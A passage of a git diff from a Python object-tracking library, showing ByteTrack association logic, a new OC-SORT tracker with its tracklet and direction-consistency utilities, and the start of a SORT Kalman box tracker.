result.tracker_id = np.array([], dtype=int) + return result + + out_det_indices: list[int] = [] + out_tracker_ids: list[int] = [] + + for tracker in self.tracks: + tracker.predict() + + detection_boxes = detections.xyxy + confidences = ( + detections.confidence + if detections.confidence is not None + else np.zeros(len(detections)) + ) + + # Split indices by confidence threshold (no sv.Detections slicing) + high_mask = confidences >= self.high_conf_det_threshold + high_indices = np.where(high_mask)[0] + low_indices = np.where(~high_mask)[0] + high_boxes = detection_boxes[high_indices] + low_boxes = detection_boxes[low_indices] + + # Step 1: associate high-confidence detections to all tracks + iou_matrix = get_iou_matrix(self.tracks, high_boxes) + matched, unmatched_tracks, unmatched_high = self._get_associated_indices( + iou_matrix, self.minimum_iou_threshold + ) + + for row, col in matched: + track = self.tracks[row] + track.update(high_boxes[col]) + if ( + track.number_of_successful_updates >= self.minimum_consecutive_frames + and track.tracker_id == -1 + ): + track.tracker_id = ByteTrackKalmanBoxTracker.get_next_tracker_id() + out_det_indices.append(int(high_indices[col])) + out_tracker_ids.append(track.tracker_id) + + remaining_tracks = [self.tracks[i] for i in unmatched_tracks] + + # Step 2: associate low-confidence detections to remaining tracks + iou_matrix = get_iou_matrix(remaining_tracks, low_boxes) + matched, _, unmatched_low = self._get_associated_indices( + iou_matrix, self.minimum_iou_threshold + ) + + for row, col in matched: + track = remaining_tracks[row] + track.update(low_boxes[col]) + if ( + track.number_of_successful_updates >= self.minimum_consecutive_frames + and track.tracker_id == -1 + ): + track.tracker_id = ByteTrackKalmanBoxTracker.get_next_tracker_id() + out_det_indices.append(int(low_indices[col])) + out_tracker_ids.append(track.tracker_id) + + # Unmatched low-confidence detections + for det_local_idx in unmatched_low: + out_det_indices.append(int(low_indices[det_local_idx])) + out_tracker_ids.append(-1) + + # Spawn new tracks from unmatched high-confidence detections + self._spawn_new_trackers( + detection_boxes, + confidences, + unmatched_high, + high_indices, + out_det_indices, + out_tracker_ids, + ) + + self.tracks = get_alive_trackers( + trackers=self.tracks, + maximum_frames_without_update=self.maximum_frames_without_update, + minimum_consecutive_frames=self.minimum_consecutive_frames, + ) + + # Build final sv.Detections from original by indexing + if not out_det_indices: + result = sv.Detections.empty() + result.tracker_id = np.array([], dtype=int) + return result + + idx = np.array(out_det_indices) + result = detections[idx] + result.tracker_id = np.array(out_tracker_ids, dtype=int) + return result + + def _get_associated_indices( + self, + similarity_matrix: np.ndarray, + min_similarity_thresh: float, + ) -> tuple[list[tuple[int, int]], set[int], set[int]]: + """ + Associate detections to tracks based on Similarity (IoU) using the + Jonker-Volgenant algorithm approach with no initialization instead of the + Hungarian algorithm as mentioned in the SORT paper, but it solves the + assignment problem in an optimal way. + + Args: + similarity_matrix: Similarity matrix between tracks (rows) and detections (columns). + min_similarity_thresh: Minimum similarity threshold for a valid match. + + Returns: + Matched indices (list of (tracker_idx, detection_idx)), indices of + unmatched tracks, indices of unmatched detections. + """ # noqa: E501 + matched_indices = [] + n_tracks, n_detections = similarity_matrix.shape + unmatched_tracks = set(range(n_tracks)) + unmatched_detections = set(range(n_detections)) + + if n_tracks > 0 and n_detections > 0: + row_indices, col_indices = linear_sum_assignment( + similarity_matrix, maximize=True + ) + for row, col in zip(row_indices, col_indices): + if similarity_matrix[row, col] >= min_similarity_thresh: + matched_indices.append((row, col)) + unmatched_tracks.remove(row) + unmatched_detections.remove(col) + + return matched_indices, unmatched_tracks, unmatched_detections + + def _spawn_new_trackers( + self, + detection_boxes: np.ndarray, + confidences: np.ndarray, + unmatched_high_local: set[int], + high_indices: np.ndarray, + out_det_indices: list[int], + out_tracker_ids: list[int], + ) -> None: + for det_local_idx in unmatched_high_local: + global_idx = int(high_indices[det_local_idx]) + conf = float(confidences[global_idx]) + if conf >= self.track_activation_threshold: + self.tracks.append( + ByteTrackKalmanBoxTracker(bbox=detection_boxes[global_idx]) + ) + out_det_indices.append(global_idx) + out_tracker_ids.append(-1) + + def reset(self) -> None: + """Reset tracker state by clearing all tracks and resetting ID counter. + Call this method when switching to a new video or scene. + """ + self.tracks = [] + ByteTrackKalmanBoxTracker.count_id = 0 diff --git a/trackers/core/ocsort/__init__.py b/trackers/core/ocsort/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/core/ocsort/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/core/ocsort/tracker.py b/trackers/core/ocsort/tracker.py new file mode 100644 index 0000000..f84fa7b --- /dev/null +++ b/trackers/core/ocsort/tracker.py @@ -0,0 +1,310 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np +import supervision as sv +from scipy.optimize import linear_sum_assignment + +from trackers.core.base import BaseTracker +from trackers.core.ocsort.tracklet import OCSORTTracklet +from trackers.core.ocsort.utils import ( + _build_direction_consistency_matrix_batch, + _get_iou_matrix, +) +from trackers.utils.state_representations import XCYCSRStateEstimator + + +class OCSORTTracker(BaseTracker): + """OC-SORT enhances traditional SORT by shifting to an observation-centric paradigm, + using detections to correct Kalman filter errors accumulated during occlusions. It + introduces Observation-Centric Re-Update to generate virtual trajectories for + parameter refinement upon track reactivation. Association incorporates + Observation-Centric Momentum, blending IoU with direction consistency from + historical observations. Short-term recoveries are aided by heuristics linking + unmatched tracks to prior detections. This rethinking prioritizes real measurements + over estimations, making OC-SORT particularly adept at handling real-world tracking + challenges. + + OC-SORT's primary strength is its robustness to non-linear motions and occlusions, + outperforming baselines on datasets with erratic movements like DanceTrack. It + maintains extreme efficiency, processing over 700 frames per second on CPUs for + scalable deployments. The tracker excels in crowded scenes, reducing identity + switches through momentum-based associations. However, lacking appearance features, + it can confuse similar objects in overlapping paths. Its linear motion core still + imposes limits in extreme velocity variations, requiring careful parameter + selection. + + Args: + lost_track_buffer: `int` specifying number of frames to buffer when a + track is lost. Increasing this value enhances occlusion handling but + may increase ID switching for similar objects. + frame_rate: `float` specifying video frame rate in frames per second. + Used to scale the lost track buffer for consistent tracking across + different frame rates. + minimum_consecutive_frames: `int` specifying number of consecutive + frames before a track is considered valid. Before reaching this + threshold, tracks are assigned `tracker_id` of `-1`. + minimum_iou_threshold: `float` specifying IoU threshold for associating + detections to existing tracks. Higher values require more overlap. + direction_consistency_weight: `float` specifying weight for direction + consistency in the association cost. Higher values prioritize angle + alignment between motion and association direction. + high_conf_det_threshold: `float` specifying threshold for high confidence + detections. Lower confidence detections are excluded from association. + delta_t: `int` specifying number of past frames to use for velocity + estimation. Higher values provide more stable direction estimates + during occlusion. + """ + + tracker_id = "ocsort" + + def __init__( + self, + lost_track_buffer: int = 30, + frame_rate: float = 30.0, + minimum_consecutive_frames: int = 3, + minimum_iou_threshold: float = 0.3, + direction_consistency_weight: float = 0.2, + high_conf_det_threshold: float = 0.6, + delta_t: int = 3, + ) -> None: + # Calculate maximum frames without update based on lost_track_buffer and + # frame_rate. This scales the buffer based on the frame rate to ensure + # consistent time-based tracking across different frame rates. + self.maximum_frames_without_update = int(frame_rate / 30.0 * lost_track_buffer) + self.minimum_consecutive_frames = minimum_consecutive_frames + self.minimum_iou_threshold = minimum_iou_threshold + self.direction_consistency_weight = direction_consistency_weight + self.high_conf_det_threshold = high_conf_det_threshold + self.delta_t = delta_t + + self.tracks: list[OCSORTTracklet] = [] + self.frame_count = 0 + self.state_estimator_class = XCYCSRStateEstimator + + def _get_associated_indices( + self, + iou_matrix: np.ndarray, + direction_consistency_matrix: np.ndarray, + ) -> tuple[list[tuple[int, int]], list[int], list[int]]: + """ + Associate detections to tracks based on IOU. + + Args: + iou_matrix: IOU cost matrix. + direction_consistency_matrix: Direction of the tracklet consistency cost matrix. + + Returns: + matched_indices: List of (track_index, detection_index) tuples for + successful associations that meet the IOU threshold. + unmatched_tracks: list of track indices that were not matched + to any detection. + unmatched_detections: list of detection indices that were not + matched to any track. + """ # noqa: E501 + matched_indices = [] + n_tracks, n_detections = iou_matrix.shape + unmatched_tracks = set(range(n_tracks)) + unmatched_detections = set(range(n_detections)) + if n_tracks > 0 and n_detections > 0: + # Find optimal assignment using scipy.optimize.linear_sum_assignment. + cost_matrix = ( + iou_matrix + + self.direction_consistency_weight * direction_consistency_matrix + ) + row_indices, col_indices = linear_sum_assignment(cost_matrix, maximize=True) + for row, col in zip(row_indices, col_indices): + if iou_matrix[row, col] >= self.minimum_iou_threshold: + matched_indices.append((row, col)) + unmatched_tracks.remove(row) + unmatched_detections.remove(col) + + return ( + matched_indices, + list(unmatched_tracks), + list(unmatched_detections), + ) + + def _spawn_new_tracklets(self, boxes: np.ndarray) -> None: + """Create new tracklets from bounding boxes. + + Args: + boxes: Bounding boxes `(N, 4)` in xyxy format. + """ + for xyxy in boxes: + self.tracks.append( + OCSORTTracklet( + xyxy, + delta_t=self.delta_t, + state_estimator_class=self.state_estimator_class, + ) + ) + + def update(self, detections: sv.Detections) -> sv.Detections: + """Update tracker state with new detections and return tracked objects. + Performs Kalman filter prediction, two-stage association using direction + consistency and last-observation recovery, and initializes new tracks + for unmatched high-confidence detections. + + Args: + detections: `sv.Detections` containing bounding boxes with shape + `(N, 4)` in `(x_min, y_min, x_max, y_max)` format and optional + confidence scores. + + Returns: + `sv.Detections` with `tracker_id` assigned for each detection. + Unmatched or immature tracks have `tracker_id` of `-1`. + """ + if len(self.tracks) == 0 and len(detections) == 0: + result = sv.Detections.empty() + result.tracker_id = np.array([], dtype=int) + return result + + detections = detections[detections.confidence >= self.high_conf_det_threshold] + + detection_boxes = detections.xyxy if len(detections) > 0 else np.empty((0, 4)) + confidences = ( + detections.confidence + if detections.confidence is not None + else np.ones(len(detections)) + ) + + # Collect (detection_index, tracker_id) pairs; assembled into + # the output sv.Detections once at the end. + out_det_indices: list[int] = [] + out_tracker_ids: list[int] = [] + + for tracker in self.tracks: + tracker.predict() + + predicted_boxes = np.array([t.get_state_bbox() for t in self.tracks]) + iou_matrix = _get_iou_matrix(predicted_boxes, detection_boxes) + + direction_consistency_matrix = self._compute_direction_consistency_matrix( + detection_boxes, confidences + ) + + # 1st association (OCM) + matched_indices, unmatched_tracks, unmatched_detections = ( + self._get_associated_indices(iou_matrix, direction_consistency_matrix) + ) + + for row, col in matched_indices: + self.tracks[row].update(detection_boxes[col]) + tid = self.tracks[row].resolve_tracker_id( + self.minimum_consecutive_frames, self.frame_count + ) + out_det_indices.append(col) + out_tracker_ids.append(tid) + + # 2nd chance association (OCR) + if len(unmatched_detections) > 0 and len(unmatched_tracks) > 0: + last_observation_of_tracks = np.array( + [self.tracks[t].last_observation for t in unmatched_tracks] + ) + ocr_iou_matrix = sv.box_iou_batch( + last_observation_of_tracks, + detection_boxes[unmatched_detections], + ) + ocr_matched, ocr_unmatched_tracks, ocr_unmatched_dets = ( + self._get_associated_indices( + ocr_iou_matrix, np.zeros_like(ocr_iou_matrix) + ) + ) + + for ocr_row, ocr_col in ocr_matched: + track_idx = unmatched_tracks[ocr_row] + det_idx = unmatched_detections[ocr_col] + self.tracks[track_idx].update(detection_boxes[det_idx]) + tid = self.tracks[track_idx].resolve_tracker_id( + self.minimum_consecutive_frames, self.frame_count + ) + out_det_indices.append(det_idx) + out_tracker_ids.append(tid) + + for m in ocr_unmatched_tracks: + self.tracks[unmatched_tracks[m]].update(None) + + self.tracks = self._prune_expired_tracklets() + + remaining_indices = [unmatched_detections[i] for i in ocr_unmatched_dets] + self._spawn_new_tracklets(detection_boxes[remaining_indices]) + for det_idx in remaining_indices: + out_det_indices.append(det_idx) + out_tracker_ids.append(-1) + else: + for track_idx in unmatched_tracks: + self.tracks[track_idx].update(None) + self.tracks = self._prune_expired_tracklets() + + self._spawn_new_tracklets(detection_boxes[unmatched_detections]) + for det_idx in unmatched_detections: + out_det_indices.append(det_idx) + out_tracker_ids.append(-1) + + # Build output — single index into the filtered detections preserves + # all metadata (confidence, class_id, mask, data dict). + if out_det_indices: + result = detections[out_det_indices] + result.tracker_id = np.array(out_tracker_ids, dtype=int) + else: + result = sv.Detections.empty() + result.tracker_id = np.array([], dtype=int) + + self.frame_count += 1 + return result + + def reset(self) -> None: + """Reset tracker state by clearing all tracks and resetting ID counter. + Call this method when switching to a new video or scene. + """ + self.tracks = [] + self.frame_count = 0 + OCSORTTracklet.count_id = 0 + + def _prune_expired_tracklets(self) -> list[OCSORTTracklet]: + """Remove tracklets that have been lost for too long. + + Returns: + List of tracklets that are still active. + """ + return [ + tracklet + for tracklet in self.tracks + if tracklet.time_since_update <= self.maximum_frames_without_update + ] + + def _compute_direction_consistency_matrix( + self, detection_boxes: np.ndarray, confidences: np.ndarray + ) -> np.ndarray: + """Compute the direction consistency matrix for association, + including confidence scaling.""" + tracklet_velocities = np.array( + [ + t.velocity if t.velocity is not None else np.array([0.0, 0.0]) + for t in self.tracks + ] + ) + reference_boxes = np.array( + [ + t.get_k_previous_obs() + if t.get_k_previous_obs() is not None + else t.last_observation + for t in self.tracks + ] + ) + velocity_mask = np.array( + [t.velocity is not None for t in self.tracks], + dtype=np.float32, + )[:, np.newaxis] + matrix = _build_direction_consistency_matrix_batch( + tracklet_velocities=tracklet_velocities, + reference_boxes=reference_boxes, + detection_boxes=detection_boxes, + velocity_mask=velocity_mask, + ) + matrix *= confidences[np.newaxis, :] + return matrix diff --git a/trackers/core/ocsort/tracklet.py b/trackers/core/ocsort/tracklet.py new file mode 100644 index 0000000..89aa2b6 --- /dev/null +++ b/trackers/core/ocsort/tracklet.py @@ -0,0 +1,310 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import numpy as np + +from trackers.utils.converters import ( + xyxy_to_xcycsr, +) +from trackers.utils.state_representations import ( + BaseStateEstimator, + XCYCSRStateEstimator, +) + + +class OCSORTTracklet: + """Tracklet for OC-SORT tracker with ORU (Observation-centric Re-Update). + + Manages a single tracked object with Kalman filter state estimation. + Implements OC-SORT specific features: freeze/unfreeze for saving state + before track is lost, virtual trajectory generation (ORU) for recovering + lost tracks, and configurable state representation (XCYCSR or XYXY). + + Attributes: + age: Age of the tracklet in frames. + kalman_filter: The Kalman filter wrapping the state representation. + tracker_id: Unique identifier (-1 until track is mature). + number_of_successful_consecutive_updates: Consecutive successful updates. + time_since_update: Frames since last observation. + last_observation: Last observed bounding box `[x1, y1, x2, y2]`. + previous_to_last_observation: Second-to-last observation for velocity. + observations: Dict mapping age to observed bbox for delta_t lookback. + velocity: Normalized direction vector computed with delta_t lookback. + delta_t: Number of timesteps back to look for velocity estimation. + """ + + count_id: int = 0 + + def __init__( + self, + initial_bbox: np.ndarray, + state_estimator_class: type[BaseStateEstimator] = XCYCSRStateEstimator, + delta_t: int = 3, + ) -> None: + """Initialize tracklet with first detection. + + Args: + initial_bbox: Initial bounding box `[x1, y1, x2, y2]`. + kalman_filter_class: Kalman filter class to use. Instantiated + with *initial_bbox*. Defaults to + `XCYCSRKalmanFilter`. + delta_t: Number of timesteps back to look for velocity estimation. + Higher values use observations further in the past to estimate + motion direction, providing more stable velocity estimates. + """ + self.age = 0 + + # Initialize state estimator (wraps KalmanFilter + state repr) + self.kalman_filter: BaseStateEstimator = state_estimator_class(initial_bbox) + + # Observation history for ORU and delta_t + self.delta_t = delta_t + self.last_observation = initial_bbox + self.previous_to_last_observation: np.ndarray | None = None + self.observations: dict[int, np.ndarray] = {} + self.velocity: np.ndarray | None = None + + # Track ID can be initialized before mature in oc-sort + # it is assigned if the frame number is less than minimum_consecutive_frames + self.tracker_id = -1 + + # Tracking counters + self.number_of_successful_consecutive_updates = 0 + self.time_since_update = 0 + + # ORU: saved state for freeze/unfreeze + self._frozen_state: dict | None = None + self._observed = True + + @classmethod + def get_next_tracker_id(cls) -> int: + """Get next available tracker ID.""" + next_id = cls.count_id + cls.count_id += 1 + return next_id + + def _freeze(self) -> None: + """Save Kalman filter state before track is lost (ORU mechanism).""" + self._frozen_state = self.kalman_filter.get_state() + + def _unfreeze(self, new_bbox: np.ndarray) -> None: + """Restore state and apply virtual trajectory (ORU mechanism). + + Generates linear interpolation between last observation and new + detection, then re-updates the Kalman filter through this virtual + trajectory. + + Args: + new_bbox: New observation bounding box `[x1, y1, x2, y2]`. + """ + if self._frozen_state is None: + return + + # Restore to frozen state + self.kalman_filter.set_state(self._frozen_state) + + time_gap = self.time_since_update + # this is oc-sort specific + if isinstance(self.kalman_filter, XCYCSRStateEstimator): + self._unfreeze_xcycsr(new_bbox, time_gap) + else: + self._unfreeze_xyxy(new_bbox, time_gap) + + self._frozen_state = None + + def _unfreeze_xcycsr(self, new_bbox: np.ndarray, time_gap: int) -> None: + """ORU interpolation for XCYCSR representation. + + Generates time_gap predict+update cycles with virtual observations + interpolated from the last observation to the new bbox. The interpolation + factors go from 0 to (time_gap-1)/time_gap. The caller is responsible + for the final real update at factor 1.0. + """ + # Convert to (x, y, s, r) format + last_xcycsr = xyxy_to_xcycsr(self.last_observation) + new_xcycsr = xyxy_to_xcycsr(new_bbox) + + # Convert s, r back to w, h for interpolation + x1, y1, s1, r1 = last_xcycsr + w1 = np.sqrt(s1 * r1) + h1 = np.sqrt(s1 / r1) + + x2, y2, s2, r2 = new_xcycsr + w2 = np.sqrt(s2 * r2) + h2 = np.sqrt(s2 / r2) + + # Linear interpolation deltas + dx = (x2 - x1) / time_gap + dy = (y2 - y1) / time_gap + dw = (w2 - w1) / time_gap + dh = (h2 - h1) / time_gap + + for i in range(time_gap): + x = x1 + (i + 1) * dx + y = y1 + (i + 1) * dy + w = w1 + (i + 1) * dw + h = h1 + (i + 1) * dh + + # Convert back to (x, y, s, r) + s = w * h + r = w / h + virtual_obs = np.array([x, y, s, r]).reshape((4, 1)) + + self.kalman_filter.kf.update(virtual_obs) + if i < time_gap - 1: + self.kalman_filter.kf.predict() + + def _unfreeze_xyxy(self, new_bbox: np.ndarray, time_gap: int) -> None: + """ORU interpolation for XYXY representation. + + Same pattern as XCYCSR: time_gap predict+update cycles with factors + 0 to (time_gap-1)/time_gap. Caller does the final real update. + """ + last_xyxy = self.last_observation + new_xyxy = new_bbox + + # Linear interpolation deltas for each coordinate + delta = (new_xyxy - last_xyxy) / time_gap + + for i in range(time_gap): + virtual_obs = (last_xyxy + (i + 1) * delta).reshape((4, 1)) + + self.kalman_filter.kf.update(virtual_obs) + if i < time_gap - 1: + self.kalman_filter.kf.predict() + + def get_k_previous_obs(self) -> np.ndarray | None: + """Get observation from delta_t steps ago. + + Looks back up to delta_t timesteps in the observation history. + Falls back to the most recent observation if none found in the window. + + Returns: + The observation from delta_t steps ago, or most recent if not found, + or None if no observations exist. + """ + if len(self.observations) == 0: + return None + for i in range(self.delta_t): + dt = self.delta_t - i + if self.age - dt in self.observations: + return self.observations[self.age - dt] + max_age = max(self.observations.keys()) + return self.observations[max_age] + + @staticmethod + def _compute_velocity(bbox1: np.ndarray, bbox2: np.ndarray) -> np.ndarray: + """Compute normalized direction vector between two bounding box centers. + + Args: + bbox1: First bounding box `[x1, y1, x2, y2]`. + bbox2: Second bounding box `[x1, y1, x2, y2]`. + + Returns: + Normalized direction vector [dy, dx]. + """ + cx1, cy1 = (bbox1[0] + bbox1[2]) / 2.0, (bbox1[1] + bbox1[3]) / 2.0 + cx2, cy2 = (bbox2[0] + bbox2[2]) / 2.0, (bbox2[1] + bbox2[3]) / 2.0 + speed = np.array([cy2 - cy1, cx2 - cx1]) + norm = np.sqrt((cy2 - cy1) ** 2 + (cx2 - cx1) ** 2) + 1e-6 + return speed / norm + + def update(self, bbox: np.ndarray | None) -> None: + """Update tracklet with new observation. + + Handles ORU: if track was lost and now observed again, + generates virtual trajectory to smooth the transition. + Computes velocity using observation from delta_t steps ago. + + Args: + bbox: Bounding box `[x1, y1, x2, y2]` or None for no observation. + """ + if bbox is not None: + # Compute velocity only after the track has been observed at least once + # (matches original OC-SORT: velocity is None until 2nd match) + + previous_box = self.get_k_previous_obs() + if previous_box is not None: + self.velocity = self._compute_velocity(previous_box, bbox) + + # Check if we need to unfreeze (was lost, now observed) + if not self._observed and self._frozen_state is not None: + self._unfreeze(bbox) + + # Update KF with the real observation + # (after ORU this is the final update at the correct time step; + # without ORU this is the normal measurement update) + self.kalman_filter.update(bbox) + + self._observed = True + self.time_since_update = 0 + self.number_of_successful_consecutive_updates += 1 + self.previous_to_last_observation = self.last_observation + self.last_observation = bbox + self.observations[self.age] = bbox + else: + # No observation - freeze state if this is first miss + if self._observed: + self._freeze() + self._observed = False + self.kalman_filter.update(None) + + def predict(self) -> np.ndarray: + """Predict next bounding box position. + + Returns: + Predicted bounding box `[x1, y1, x2, y2]`. + """ + self.kalman_filter.predict() + self.age += 1 + + if self.time_since_update > 0: + self.number_of_successful_consecutive_updates = 0 + + self.time_since_update += 1 + return self.kalman_filter.state_to_bbox() + + def get_state_bbox(self) -> np.ndarray: + """Get current bounding box estimate from Kalman filter. + + Returns: + Current bounding box estimate `[x1, y1, x2, y2]`. + """ + return self.kalman_filter.state_to_bbox() + + def resolve_tracker_id( + self, + minimum_consecutive_frames: int, + frame_count: int, + ) -> int: + """Resolve the tracker ID for the current tracklet state. + + Assigns a new unique ID if the tracklet is mature but hasn't been + assigned one yet. Returns -1 for immature tracklets. + + Args: + minimum_consecutive_frames: Frames required for track maturity. + frame_count: Current frame number in tracking process. + + Returns: + Integer tracker ID, or -1 for immature tracks. + """ + is_mature = ( + self.number_of_successful_consecutive_updates >= minimum_consecutive_frames + ) + if frame_count <= minimum_consecutive_frames: + if self.time_since_update == 0: + if self.tracker_id == -1: + self.tracker_id = OCSORTTracklet.get_next_tracker_id() + return self.tracker_id + else: + if is_mature: + if self.tracker_id == -1: + self.tracker_id = OCSORTTracklet.get_next_tracker_id() + return self.tracker_id + return -1 diff --git a/trackers/core/ocsort/utils.py b/trackers/core/ocsort/utils.py new file mode 100644 index 0000000..6f612a7 --- /dev/null +++ b/trackers/core/ocsort/utils.py @@ -0,0 +1,133 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ +# Modified and adapted from OC-SORT https://github.com/noahcao/OC_SORT/ +# Licensed under the MIT License [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import numpy as np +import supervision as sv + + +def _speed_direction_batch( + track_boxes: np.ndarray, detection_boxes: np.ndarray +) -> tuple[np.ndarray, np.ndarray]: + """Compute normalized direction vectors from track centers to detection centers. + + For each (track, detection) pair, computes the unit vector pointing from the + track box center to the detection box center. Used in OC-SORT's direction + consistency mechanism (OCM) to compare motion directions. + + Args: + track_boxes: `np.ndarray` of shape `(n_tracks, 4)` containing track + bounding boxes in `[x1, y1, x2, y2]` format. These serve as the + origin points for direction vectors. + detection_boxes: `np.ndarray` of shape `(n_detections, 4)` containing + detection bounding boxes in `[x1, y1, x2, y2]` format. These serve + as the target points for direction vectors. + + Returns: + Tuple of `(dy, dx)` arrays, each of shape `(n_tracks, n_detections)`. + Values are normalized to unit length. The `dy` component represents + vertical direction, `dx` represents horizontal direction. + """ + track_boxes = track_boxes[..., np.newaxis] + CX1 = (detection_boxes[:, 0] + detection_boxes[:, 2]) / 2.0 + CY1 = (detection_boxes[:, 1] + detection_boxes[:, 3]) / 2.0 + CX2 = (track_boxes[:, 0] + track_boxes[:, 2]) / 2.0 + CY2 = (track_boxes[:, 1] + track_boxes[:, 3]) / 2.0 + dx = CX1 - CX2 + dy = CY1 - CY2 + norm = np.sqrt(dx**2 + dy**2) + 1e-6 + dx = dx / norm + dy = dy / norm + return dy, dx + + +def _build_direction_consistency_matrix_batch( + tracklet_velocities: np.ndarray, + reference_boxes: np.ndarray, + detection_boxes: np.ndarray, + velocity_mask: np.ndarray, +) -> np.ndarray: + """Build direction consistency cost matrix for OC-SORT's OCM mechanism. + + Measures how well each potential (tracklet, detection) association aligns + with the tracklet's current motion direction. A high score indicates the + detection lies along the tracklet's expected trajectory, reducing identity + switches during non-linear motion. + + Args: + tracklet_velocities: `np.ndarray` of shape `(n_tracklets, 2)` containing + normalized velocity vectors `[vy, vx]` for each tracklet, computed + using `delta_t` lookback observations. + reference_boxes: `np.ndarray` of shape `(n_tracklets, 4)` containing + bounding boxes in `[x1, y1, x2, y2]` format representing each + tracklet's k-th previous observation. Used as origin points for + computing association direction to each detection. + detection_boxes: `np.ndarray` of shape `(n_detections, 4)` containing + detection bounding boxes in `[x1, y1, x2, y2]` format. + velocity_mask: `np.ndarray` of shape `(n_tracklets, 1)` with values + `1.0` for tracklets with valid velocity estimates and `0.0` for + newly initialized tracklets lacking motion history. + + Returns: + `np.ndarray` of shape `(n_tracklets, n_detections)` containing direction + consistency scores. Higher values indicate better alignment between + tracklet motion and association direction. + """ + n_tracklets = tracklet_velocities.shape[0] + n_detections = detection_boxes.shape[0] if len(detection_boxes) > 0 else 0 + + if n_tracklets == 0 or n_detections == 0: + return np.zeros((n_tracklets, n_detections), dtype=np.float32) + + # Compute association directions (from reference_boxes -> detection) in batch + Y, X = _speed_direction_batch(reference_boxes, detection_boxes) + + # Expand velocities for broadcasting + inertia_Y = tracklet_velocities[:, 0:1] # (n_tracklets, 1) + inertia_X = tracklet_velocities[:, 1:2] # (n_tracklets, 1) + + # Compute cosine similarity (dot product of normalized vectors) + diff_angle_cos = inertia_X * X + inertia_Y * Y + diff_angle_cos = np.clip(diff_angle_cos, -1.0, 1.0) + + diff_angle = np.arccos(diff_angle_cos) + angle_diff_cost = (np.pi / 2.0 - np.abs(diff_angle)) / np.pi + + angle_diff_cost = velocity_mask * angle_diff_cost + + return angle_diff_cost.astype(np.float32) + + +def _get_iou_matrix(track_boxes: np.ndarray, detection_boxes: np.ndarray) -> np.ndarray: + """Build IoU matrix between track and detection bounding boxes. + + Computes pairwise Intersection over Union (IoU) scores used as the primary + cost metric for Hungarian algorithm association in SORT-family trackers. + + Args: + track_boxes: `np.ndarray` of shape `(n_tracks, 4)` containing track + bounding boxes in `[x1, y1, x2, y2]` format. Typically predicted + positions from Kalman filter or last observations. + detection_boxes: `np.ndarray` of shape `(n_detections, 4)` containing + detection bounding boxes in `[x1, y1, x2, y2]` format from the + current frame. + + Returns: + `np.ndarray` of shape `(n_tracks, n_detections)` containing IoU scores + in range `[0, 1]`. Higher values indicate greater overlap between + track and detection boxes. + """ + n_tracks = track_boxes.shape[0] + n_detections = detection_boxes.shape[0] + if n_tracks > 0 and n_detections > 0: + iou_matrix = sv.box_iou_batch(track_boxes, detection_boxes) + else: + iou_matrix = np.zeros((n_tracks, n_detections), dtype=np.float32) + return iou_matrix diff --git a/trackers/core/sort/__init__.py b/trackers/core/sort/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/core/sort/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/core/sort/kalman.py b/trackers/core/sort/kalman.py new file mode 100644 index 0000000..144fde5 --- /dev/null +++ b/trackers/core/sort/kalman.py @@ -0,0 +1,147 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np +from numpy.typing import NDArray + + +class SORTKalmanBoxTracker: + """ + The `SORTKalmanBoxTracker` class represents the internals of a single + tracked object (bounding box), with a Kalman filter to predict and update + its position. + + Attributes: + tracker_id: Unique identifier for the tracker. + number_of_successful_updates: Number of times the object has been + updated successfully. + time_since_update: Number of frames since the last update. + state: State vector of the bounding box. + F: State transition matrix. + H: Measurement matrix. + Q: Process noise covariance matrix. + R: Measurement noise covariance matrix. + P: Error covariance matrix. + count_id: Class variable to assign unique IDs to each tracker. + + Args: + bbox: Initial bounding box in the form [x1, y1, x2, y2]. + """ + + count_id: int = 0 + state: NDArray[np.float32] + F: NDArray[np.float32] + H: NDArray[np.float32] + Q: NDArray[np.float32] + R: NDArray[np.float32] + P: NDArray[np.float32] + + @classmethod + def get_next_tracker_id(cls) -> int: + next_id = cls.count_id + cls.count_id += 1 + return next_id + + def __init__(self, bbox: NDArray[np.float64]) -> None: + # Initialize with a temporary ID of -1 + # Will be assigned a real ID when the track is considered mature + self.tracker_id = -1 + + # Number of hits indicates how many times the object has been + # updated successfully + self.number_of_successful_updates = 1 + # Number of frames since the last update + self.time_since_update = 0 + + # For simplicity, we keep a small state vector: + # (x, y, x2, y2, vx, vy, vx2, vy2). + # We'll store the bounding box in "self.state" + self.state = np.zeros((8, 1), dtype=np.float32) + + # Initialize state directly from the first detection + bbox_float: NDArray[np.float32] = bbox.astype(np.float32) + self.state[0, 0] = bbox_float[0] + self.state[1, 0] = bbox_float[1] + self.state[2, 0] = bbox_float[2] + self.state[3, 0] = bbox_float[3] + + # Basic constant velocity model + self._initialize_kalman_filter() + + def _initialize_kalman_filter(self) -> None: + """ + Sets up the matrices for the Kalman filter. + """ + # State transition matrix (F): 8x8 + # We assume a constant velocity model. Positions are incremented by + # velocity each step. + self.F = np.eye(8, dtype=np.float32) + for i in range(4): + self.F[i, i + 4] = 1.0 + + # Measurement matrix (H): we directly measure x1, y1, x2, y2 + self.H = np.eye(4, 8, dtype=np.float32) # 4x8 + + # Process covariance matrix (Q) + self.Q = np.eye(8, 